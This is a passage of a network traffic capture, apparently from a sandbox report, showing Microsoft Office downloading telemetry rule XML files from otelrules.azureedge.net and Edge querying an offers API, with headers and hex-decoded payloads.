2024-11-23 20:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205931Z-178bfbc474bp8mkvhC1NYCzqnn00000004sg00000000grgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 33a5509c-101e-00a2-2819-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205932Z-178bfbc474b9xljthC1NYCtw9400000004z00000000045th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205932Z-178bfbc474bq2pr7hC1NYCkfgg000000054g00000000a7r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205932Z-178bfbc474bxkclvhC1NYC69g4000000051g000000000c6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:33 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205933Z-178bfbc474bbbqrhhC1NYCvw74000000050g00000000nu2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49797	94.245.104.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:33 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:34 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 20:59:34 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=19020555a6ce13e7884acd0cd2d8a32f62deb6e74d19a876d58f79edefb7bfc8;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=19020555a6ce13e7884acd0cd2d8a32f62deb6e74d19a876d58f79edefb7bfc8;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:34 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:34 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205934Z-174c587ffdf9xbcchC1TEBxkz4000000036000000000r2w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:34 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:34 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:35 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205935Z-178bfbc474bscnbchC1NYCe7eg000000050g00000000n5t3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:35 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:35 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:35 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205935Z-15b8b599d88wk8w4hC1TEB14b800000003g0000000009bvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:35 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:35 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:35 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 98e24ef8-f01e-0052-0940-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205935Z-15b8b599d88hr8sfhC1TEBbca400000003b000000000akby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:35 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:35 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:35 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205935Z-178bfbc474bvjk8shC1NYC83ns00000004r000000000r3x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:36 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:36 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205936Z-15b8b599d882l6clhC1TEBxd5c00000003fg0000000002rz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:37 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205937Z-174c587ffdfl22mzhC1TEBk40c00000003n000000000a2sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
